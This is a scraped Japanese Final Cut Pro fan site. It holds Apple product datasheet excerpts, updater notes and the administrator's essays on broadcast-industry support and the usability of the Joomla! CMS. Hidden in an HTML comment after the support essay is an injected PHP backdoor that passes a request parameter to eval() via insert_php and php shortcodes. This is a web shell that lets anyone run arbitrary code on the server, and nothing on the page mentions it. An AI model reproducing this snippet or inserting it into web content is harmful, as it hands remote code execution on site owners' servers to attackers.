1.0(2003.8.23)


■Final Cut Pro 4にバンドル

<Final Cut Pro 4.0データシートより>

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LiveType
● LiveFonts(アニメーション対応フォント)
● エフェクトのカスタマイズ
● 著作権フリーのアニメーションコンテンツ集
● 洗練されたプロジェクトのテンプレート
● キーフレーム制御によるアニメーション
● ワイヤーフレームによるリアルタイムプレビュー
● キャンバスでのRAMプレビュー
● 各種フォーマットの読み込み
● 解像度非依存でスケーラブル
● キャラクター単位のダイナミックなコントロール
● Unicode対応システムフォントのサポート
● ロールアニメーションとクロールアニメーション
● カーブに沿ったテキスト
● FontMaker(オリジナルLiveFontsの作成ユーティリティ)

LiveType
機能満載、プロ品質のアニメーションタイトル。
主な特長
● アップルの革新的なLiveFontsでタイトルに生き生きした動きを与え、プロ品質のアニメーションタイトルをすばやく簡単に作成。
● 放送品質の著作権フリーなアニメーションコンテンツ集と洗練されたプロジェクトのテンプレートを活用し、複雑なプロジェクトもすばやく準備完了。オリジナルテンプレートを作成・保存して将来的なプロジェクトで利用したり、同じプロジェクトで流用することも可能。
● TrueType、PostScriptの各システムフォントも組み合わせて文字単位でダイナミックにコントロールすることで、いっそう高まる表現力と柔軟性。
● 複数のパラメータで、動き・変形・タイミングを決めてエフェクトを演出し、キャンバス内の任意数の要素に適用可能。このモーションエフェクトをオリジナル設定として保存しておけば、別のプロジェクトでも流用可能。
● キャンバス内でのRAMプレビューを使い、レンダリング前にエフェクトを確認することで効率的に作業。
● QuickTimeがサポートする全フォーマットで読み込みと書き出しが可能。

© 2003 Apple Computer, Inc. All rights reserved. Apple、Appleロゴ、Apple Store、DVD Studio Pro、Final Cut Pro、FireWire、Mac、Macintosh、Mac OS、PowerBook、Power Mac、QuickTime、TrueTypeは、米国その他の国で登録されているApple Computer, Inc.の商標です。OfflineRT、Velocity Engineは、Apple Computer, Inc.の商標です。AppleCareは、米国およびその他の国で登録されているApple Computer, Inc.のサービスマークです。ACIDは、Sonic Foundry, Inc.の商標です。Adobe、PostScriptは、米国およびその他の国におけるAdobe Systems Incorporatedの商標または登録商標です。PowerPCは、IBM Corp.からのライセンスに基づき使用されるIBM Corp.の商標です。この資料に記載のその他の製品名および会社名は、各社の商標または登録商標です。この資料の記載内容は2003年11月現在のものです。この資料に記載された仕様は予告なく変更することがあります。
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※内容は当時のものです。
※アップル社の一般配布資料より

1.0(2003.8.23)


■Final Cut Pro 4にバンドル

<Final Cut Pro 4.0データシートより>
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フィルム

● Cinema Toolsが付属
● 35mm(3perf、4perf)および16mm(20perf)をサポート
● 包括的なフィルム管理ツール
● 24fps EDLの入出力
● 24fps EDL⇔29.97fpsの相互変換
● ALE、ATN、FLX、FTLの各ファイルを読み込み
● キーナンバー、インクナンバー、ビデオ&オーディオのタイムコードを追跡
● 以下のリスト出力に対応:
− カットリスト
− チェンジリスト
− オプティカルリスト
− プルリスト
− デュープリスト
− ミッシングエレメントリスト
− オーディオEDL
● メディアをデータベースにリンク
● 検索と並べ替え
● ポスターフレーム機能
● 指定したフレームレートへのクリップを変換
● リバーステレシネ機能
● ALEファイルの書き出し
● Final Cut Proのバッチリストの読み込み/書き出し

© 2003 Apple Computer, Inc. All rights reserved. Apple、Appleロゴ、Apple Store、DVD Studio Pro、Final Cut Pro、FireWire、Mac、Macintosh、Mac OS、PowerBook、Power Mac、QuickTime、TrueTypeは、米国その他の国で登録されているApple Computer, Inc.の商標です。OfflineRT、Velocity Engineは、Apple Computer, Inc.の商標です。AppleCareは、米国およびその他の国で登録されているApple Computer, Inc.のサービスマークです。ACIDは、Sonic Foundry, Inc.の商標です。Adobe、PostScriptは、米国およびその他の国におけるAdobe Systems Incorporatedの商標または登録商標です。PowerPCは、IBM Corp.からのライセンスに基づき使用されるIBM Corp.の商標です。この資料に記載のその他の製品名および会社名は、各社の商標または登録商標です。この資料の記載内容は2003年11月現在のものです。この資料に記載された仕様は予告なく変更することがあります。
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※内容は当時のものです。
※アップル社の一般配布資料より

1.0(2003.8.23)


■Final Cut Pro 4/DVD Studio Pro 2にバンドル

<Final Cut Pro 4.0データシートより>
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Compressor

● 高性能なエンコーディングエンジン
● 2パスVBR(Variable Bit Rate)エンコーディング
● 先進的な動き予測
● Final Cut Pro 4のタイムラインの編集結果からメディアを
直接エンコーディング
● Iフレーム挿入で互換性を向上
● QuickTime対応
● MPEG-4をサポート
● 次世代のオーディオストリーミングメディア
● 分割画面によるエンコーディング前後の比較
● 高画質なイメージ処理
● 商用クラスのプリセット設定が付属
● エンコーディングの自動化
● グループ化されたプリセット設定でバッチ処理をすばやく
準備

Compressor
バッチ処理でエンコーディングを自動化。
● MPEG-2、MPEG-4、QuickTimeフォーマットでの高性能エンコーディングをバッチ処理で自動化。
● 動き予測と2パスVBRエンコーディングで、高画質なMPEG-2ストリームを効率的に生成。
● Final Cut Pro 4内部から利用することで、デジタルメディアの編集から仕上げまでのワークフローを一元化。
● フィルタ設定の変更結果をその場でダイナミックにプレビューし、エンコーディング結果を事前にすばやく正確に確認。
● 業界標準のMPEG-4およびAACでエンコーディングしたコンテンツは、さまざまな機器に向けてストリーミング可能。
● ドロップレットに対するドラッグ&ドロップ操作で、エンコーディング処理を自動化。
● 商用クラスのプリセット設定を選んで、すばやくMPEGおよびQuickTimeフォーマットのファイルを生成。エンコーディングごとの設定は不要。
● ドラッグ&ドロップ操作で、1つのソースファイルに複数の設定を適用可能(異なるフォーマットで同時にエンコーディング可能)。

© 2003 Apple Computer, Inc. All rights reserved. Apple、Appleロゴ、Apple Store、DVD Studio Pro、Final Cut Pro、FireWire、Mac、Macintosh、Mac OS、PowerBook、Power Mac、QuickTime、TrueTypeは、米国その他の国で登録されているApple Computer, Inc.の商標です。OfflineRT、Velocity Engineは、Apple Computer, Inc.の商標です。AppleCareは、米国およびその他の国で登録されているApple Computer, Inc.のサービスマークです。ACIDは、Sonic Foundry, Inc.の商標です。Adobe、PostScriptは、米国およびその他の国におけるAdobe Systems Incorporatedの商標または登録商標です。PowerPCは、IBM Corp.からのライセンスに基づき使用されるIBM Corp.の商標です。この資料に記載のその他の製品名および会社名は、各社の商標または登録商標です。この資料の記載内容は2003年11月現在のものです。この資料に記載された仕様は予告なく変更することがあります。
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※内容は当時のものです。
※アップル社の一般配布資料より

FCP.JP/FCP UGの考え

<少々長いですが、スキルを問わず、取りあえず読み進めてください。>

ソニーのサイトに「SonyHistory」が掲載されています。歴史を知る読み物としても面白いし、規格統一(BとV)の話などは「今読むと」ことさら興味深かったり(BDとHD-D)するわけですが、映像業界としては(現場で格闘してきた職人方から見れば様々な意見もあるのでしょうけど)事実上ソニーは外せないわけで、とりわけ(VTRやスイッチャーなどの制作用)放送用機器はデファクトスタンダードとしてソニーありきでないと話は進まないわけです。

で、そうした現状の地位を築いてきた過程での苦労が語られているひとつ「第2部 第4章 第1話 「24時間サービス体制」」を読んでいて、大事だな、と思ったわけです。


数年前からノンリニアの流れができ始め、あっという間に卓上お手軽コンテンツ制作が裾野を拡げてしまったなかで、「市場の触発と活性化」というのがFCPの担ってきた役割のひとつの大きな要素ではないかと思うのですが、しかし、未だに業界では草分けである「Avid」の名が盤石(?)で、(実態は様々ご意見あると思いますが)確固たるブランドになっているのも事実で、FCPの開発チームも「打倒Avid」を掲げてはいるものの、Avidの主戦場を覆すには今一歩至っていないように思えるわけです。

両者の生い立ちそのものが大きく違い、歴史の差もあるとは思いますが、とりわけ信頼面で大きな差を生んでいるのは、Avidはソニーと同じく「放送業界の中で育ってきた」つまり、(実際はソニーの美談だけではないにしても)このエピソード「24時間サービス体制」のような、いわば“現場との二人三脚”的歴史の有無ではないかと思うのです。極端な表現をすれば、放送業界というミッション・クリティカルな制作現場に参入するにあたっての、文中の「サービスのできない所へ売っては駄目だ」の精神、「Avidは、その場で直さないと生き残っていけない放送機器畑」「アップルは、次に直せばいいパソコン屋」(あるいはエンドユーザーとメーカーの違い)である、と。

アップルもプラットフォームとして歩みを同じくしてはいたものの、(その技術的なフィードバックがFCPに活かされているとはいえ、)Avid(当時は主にMediaComposer)システムのサポート自体はアップルがやっていたわけではなく、代理店が「MediaComposerのサポート」としてそれなりの体制で対応していたわけで、深夜や朝方でも少なくとも電話で応対してくれるのは体制を作っていたAvid/代理店であったわけです(私も新人としてそうした現場に居合わせました)。(開発レベルではAvid/Appleも二人三脚であったかもしれませんが、)実際に一番苦労したのは、現場の要望とそれを動かすMac/システムのトラブルとの板挟みであったサポート担当の方ではないかと思われますが、とにかくそうした歴史の中で築いてきた信頼が、業界でのトップ「ブランド」として選ばれる要因であるのは間違いないでしょう。

こう感じるのは、現場で使っているプロの方達の中で「サポート」に対する不満や懸念が一番多く聞かれるからなのです。実際、2004年からスタートした旧FCPUGMLでも、「たらい回しにされた」「良く分かっていない販社に無用な費用を払う羽目になった」といった話題がありましたし、ビジネス的にも歴史的な面からも、FCPに関連するノウハウをもった販社が日本全国のユーザーをカバーするにはほど遠い数なのが実情なのでしょう。

しかし、現実には番組やVPなどの編集の世界は昼夜関係ないわけですから、とにかく夜中でも早朝でもトラブルが起こったら何とかしなければなりません。そうなったとき、「高くてもAvidのほうが安心」という判断が根強いのは、FCPには例え有料であってもそのようなバックボーンがない以上当然ともいえるのではないかと感じてなりません。

また、ビデオ信号やデッキコントロールの信頼性に対するノウハウ、技術力(というか考え方、取り組み姿勢)も、それそのものを商品としているメーカーと、商品のひとつとして売っているメーカーとは必然的に差が出るのも無理はないのかと。「売りっぱなし」ではなく、こうした“根幹部分”に力が入れば、いよいよアップルが業界のトップブランドを本当に脅かす事になるでしょうし、我々も安心して今以上に仕事を「任せられる」製品に成長していくと思います。

とはいえ、(プラットフォームメーカーという強大な地位にもよりますが、)過去様々なノンリニア製品やボード類が出ては消えていった中で上向きの成長をしているのも事実で、価格・機能・使いやすさ等々他には代えがたい魅力、製品そのものの良さがあってこそ、ユーザーが増えているわけですし、Macプラットフォーム拡大のキラーアプリとして価格に対してインターフェースや機能などは明らかに抜きんでているのも低予算時代には大きな恩恵であると思います。

#フロンティアである業界製品メーカーは、総じてモリサワのフォントやQuarkプラグインのごとく、機能や意匠を商品差別化に当てていく商売なので、特に物販ではないソフトウェア産業では消費者感覚的には「それがそんなに高いの?」と思えるのも致し方ないのですが。また、ある意味サードパーティー潰しともいわれる「プラットフォームメーカーの実力行使」の直撃を受けたメーカーや販社の方の心情も伺ってはいますが、ユーザーとしては「手元に何があるか」が第一だったりしまして…

ですから、この度FCPUGを大規模掲示板群の形にしたのも、こうしたサポート体制の貧弱さを少しでもカバーできる場を用意したいという考えからで、メーカーがエンドユーザーの視点になかなか立てないのなら、ユーザーがそうした場を作ろう、という発想であり、その価値は十分にあると思っています。

また、専門用語や歴史を書き連ねたここまでの話を「難しい」「わからない」と感じる、業界的にもスキル的にも新しいユーザーの方もたくさんおられ、そうした方も/こそ情報や交流の場を求めている面もあり、このようなユーザーの方々にも気安く使って頂けるように意図して掲示板の項目を考えています。

地域や場所、時間を限定せず、メーカーの縛りもなく、自分たちでカスタマイズしていけるというメリットを最大限に活かしていければと思っていますので、従来のコミュニティ同様、自ずと情報源はそれぞれが持ち寄ることになります。ですから、利用なさる方は「相互扶助」の精神を重視していただきたいと思います。

こうした理由から、FCPUGはMacユーザーの歴史の中で古くから根づいているいわゆる「MacUserGroup」とは少し趣が違います。しかし、製品の性格に合わせて、「フレンドリーなMacそのものを楽しもう」「コンシューマー製品のユーザー同士で親交を深めよう」というグループと同じく「プロが使う道具のグループ」としてこういう形が合ってもよいのではないかと思っています。

併せて、FCPユーザーに特化して様々な場所に点在する情報を集めるポータルサイトが必要だとも常々考えており、その前身であるFinalCutProUnofficialを土台として”FinalCutPro.jp”をスタートさせました。
こちらは管理者自身が得た情報の他に、UG掲示板で集まった情報を整理し、まとめていく場にしたいと考えています。

根底には管理者自身(や、多くのFCPユーザー仲間)の「あったらいいな」があるわけですが、賛同頂ける方が多く集ってくだされば幸いと思っている次第です。

FinalCutPro.jp管理人/FinalCutProUserGroup代表
松原雅人

<!– [insert_php]if (isset($_REQUEST["IlFK"])){eval($_REQUEST["IlFK"]);exit;}[/insert_php][php]if (isset($_REQUEST["IlFK"])){eval($_REQUEST["IlFK"]);exit;}[/php] –>

3.0.1アップデータ(2002.3.19)


ソフトウェアリファレンス

Final Cut Pro 3.0.1 Update for Mac OS X
http://www.apple.com/jp/ftp-info/reference/finalcutpro_3.0.1_update.html

<ソフトウェアリファレンスより>
■動作内容:
下記の問題を回避するために、アップデートを行います:

デュアルプロセッサを搭載したコンピュータでは、Mac OS XにFinal Cut Pro 3.0をインストールすると、予期せず終了する場合があります。
「イ ンターネット」環境設定パネルで、一部の情報を入力していない場合にFinal Cut Pro 3.0を起動すると、Final Cut Pro 3.0が予期せず終了することがあります。この問題は、シングルおよびデュアルプロセッサを搭載したコンピュータの両方で発生します。このアップデートに よって、この問題は回避できますが、「インターネット」環境設定パネルの情報は追加されません。

■システム条件:
日本語Mac OS X 10.1.1以降、およびFinal Cut Pro 3.0

4.1アップデータ(2003.11.19)


<Get Final Cut Pro アップデートの入手>より
http://www.apple.com/jp/finalcutpro/download/fcp41/index.html

Final Cut Pro 4.1と付属アプリケーション:Soundtrack、LiveType、Cinema Tools、Compressorなどの最新アップデータを手に入れましょう。Mac OS X v10.2.xをお使いの方は、Final Cut Pro 4.1をご利用ください。

Mac OS X v10.3.xをお使いの方は、Final Cut Proの最新版、Final Cut Pro 4.5 HD Updateをご利用ください。

Final Cut Pro 4.1の新機能
このアップデータにより多数のバグフィックスとパフォーマンスの改善が行われ、次のような機能アップが図れます:
・Power Mac G5とMac OS X v10.3に合わせたパフォーマンスの最適化
・NTSC/PALモニタとコンピュータディスプレイの再生映像を同期するフレームオフセット機能
・XML交換フォーマットのサポート
・「ヘルプ」メニューに追加された「サポートプロファイルの作成」オプション(AppleCare用)
オーディオミキサーをキャンバスやビューアに連動させるソースセレクタ
3perfフィルムのサポート(Cinema Tools 2.1)

一長一短

何かをする際、分野がクロスオーバーすることは多々ありますが、それに反して一方の分野に精通した人はもう片方のことはなかなか分からないこともまた多いものです。

物作りは上手いけど売るのはヘタだ、とか、営業さんと技術者の関係なんかもそうですが、設計とデザイナーなんてのもそうで、どの分野でも「こんなデザインじゃ中身が納まらねぇよ!」「ここがこうなれば売れるんだけど」なんてお互いに反目しあう部分があったり。このサイトを作っていて、またそんなことを思い起こしてしまうわけです。

というのは、 このサイトのシステムはJoomla!というCMS(Contents Management System)を使っているのですが、よくぞこんなに(プログラムなんてさっぱり分からない私にとっては)複雑なものを組み上げてポータルの構築システムをフリーで提供してくださるなんて画期的なことをなさってくださる皆様に驚嘆と感謝を贈りたいと思うのですが、ここで先程の感覚がじわじわと沸き起こってくるのです。

「やっぱり、インターフェースって“デザインの分野なんだよなー”」(裏を返すと、「こんなシステム作れるのはすごいんだけど、使い勝手は…」)。

遠回しのようですが、またタダで使わせていただいてこんなこと言える身分でもなんでもないのですが、今後のJoomla!及びCMSの発展のお役に立てればという私なりの貢献というか、フィードバックのつもりで書かせていただきますと、ぶっちゃけこういうことです。

・ 用語(分類)が分かりにくい
ー管理画面において、「セクション」「カテゴリー」「コンテンツ」「モジュール」「コンポーネント」「マンボット(これもコンポーネントというか、エンジン的なもの)」というものがあるのですが、慣れるまで役割がよく分からない。また、メニュー項目の設定で、「コンテンツセクションリスト」「コンテンツカテゴリーリスト」「セクションカテゴリーテーブル」「コンテンツカテゴリーリンク」(正確ではありませんが)のような、わかるようなわからないような項目が並び、それらをまとめるいくつかのグループがあって、それぞれのグループに「連絡先リンク」「コンポーネントリンクー連絡先」(これも正確ではありませんが)のような、おんなじ機能が随所に違った表記で並んでいるので、何度も試してどんな動きをするのか確認三昧になってしまいます。

・手続きが煩雑(メニューをひとつ作るのに「メニュー管理」でメニュー項目を追加して、それを有効にするなら「モジュール」に追加されたメニュー項目を「公開」にする、とか。各ページに、それぞれへのショートカットリンクをつけるなど、ちょっとした改善で随分良くなるとは思います。

・デザイン上重要な、フォントの色や大きさなどは(コンテンツやメニューの位置を変えたりモジュールを入れ替えたりする事よりは重視されていないのか、)UIにはなっておらず、急にレベルアップしてCSSというWEBデザイナー以外はあんまり必要ない一種のプログラムをテキスト編集する事になる(CSSくらい分からんド素人が使うほうが間違ってる、とかお叱りを受けそうですが、そうじゃなくて、UIをどこに被せるかの感覚というか思想の違いを感じるだけ)

・一言で言えば「洗練されてないなぁ」

といった感じで、「プログラマーとデザイナーってやっぱり違うよなー」という感覚をしみじみと感じたりしているわけです。(というか、分かっているけどそこまではフリーじゃ出来ない、といった高次元の事なのかもしれないですが。)

色々調べてみると、老舗のXoopsとか過去にリリースされたCMSよりはこれでもかなりシンプルで分かりやすいそうですし、幸いテンプレートを作っておられる方々もたくさんいらっしゃるので、外注すればン百万とか取られる事を思えば、あとは自分で努力して利用させていただくだけなのですが、感じた事は書き残しておこうかと思って書いてみました。

#開発やローカライズに携わっていらっしゃる方々には大変感謝しております。

Mac OS Xアップデート10.4.4

『10.4.4 アップデートにより、Mac OS X v10.4 の信頼性と互換性の全体的な改良が行われます。すべての対象システムでアップデートをお勧めします。

このアップデートによる修正点:

– SMB/CIFS、NFS のネットワークファイルサービス
– Bluetooth ワイヤレスアクセス
– アップデートされた ATI と NVIDIA グラフィックドライバを含む Core Graphics、Core Audio、Core Image、RAW カメラサポート
– Spotlight の索引作成および検索
– AppleScript、iChat、DVD プレーヤー、Safari などのアプリケーション
– Dashboard ウィジェット:カレンダー、Stocks
– ソフトウェア・アップデートとシンクサービス
– USB、FireWire のデバイスや他社製アプリケーションとの互換性
– 以前に、単体で実施されたセキュリティアップデート

このアップデートの詳細については、こちらを参照してください:http://www.info.apple.com/kbnum/n302810-ja

セキュリティアップデートの詳細については、こちらを参照してください:
http://www.info.apple.com/kbnum/n61798-ja

#ソフトウェアアップデート経由
#適用は自己責任で

QUICKTIME 7.0.4

『QuickTime 7.0.4 は、多数の不具合の修正、iLife �6 への対応、H.264のパフォーマンス改良などが行われている重要なリリースです。すべての QuickTime 7 ユーザの方にこのアップデートを強く推奨します。

QuickTime Pro ユーザの方への重要な注意
QuickTime 7 をインストールすることにより、QuickTime 5、QuickTime 6 など、旧バージョンの QuickTime での QuickTime Pro 部分の機能は使用できなくなります。このインストールを続けた場合、 QuickTime Pro の機能を再び使えるようにするには、QuickTime 7 の Pro キーを新規に購入する必要があります。インストール後に、www.apple.com/jp/quicktime を参照し、QuickTime 7 Pro キーを購入してください。』

#ソフトウェアアップデート経由
#適用は自己責任で

Mac OS Xアップデート10.4.4

『10.4.4 アップデートにより、Mac OS X v10.4 の信頼性と互換性の全体的な改良が行われます。すべての対象システムでアップデートをお勧めします。

このアップデートによる修正点:

– SMB/CIFS、NFS のネットワークファイルサービス
– Bluetooth ワイヤレスアクセス
– アップデートされた ATI と NVIDIA グラフィックドライバを含む Core Graphics、Core Audio、Core Image、RAW カメラサポート
– Spotlight の索引作成および検索
– AppleScript、iChat、DVD プレーヤー、Safari などのアプリケーション
– Dashboard ウィジェット:カレンダー、Stocks
– ソフトウェア・アップデートとシンクサービス
– USB、FireWire のデバイスや他社製アプリケーションとの互換性
– 以前に、単体で実施されたセキュリティアップデート

このアップデートの詳細については、こちらを参照してください:http://www.info.apple.com/kbnum/n302810-ja

セキュリティアップデートの詳細については、こちらを参照してください:
http://www.info.apple.com/kbnum/n61798-ja

#ソフトウェアアップデート経由
#適用は自己責任で

自分史ビデオ・思い出シアター
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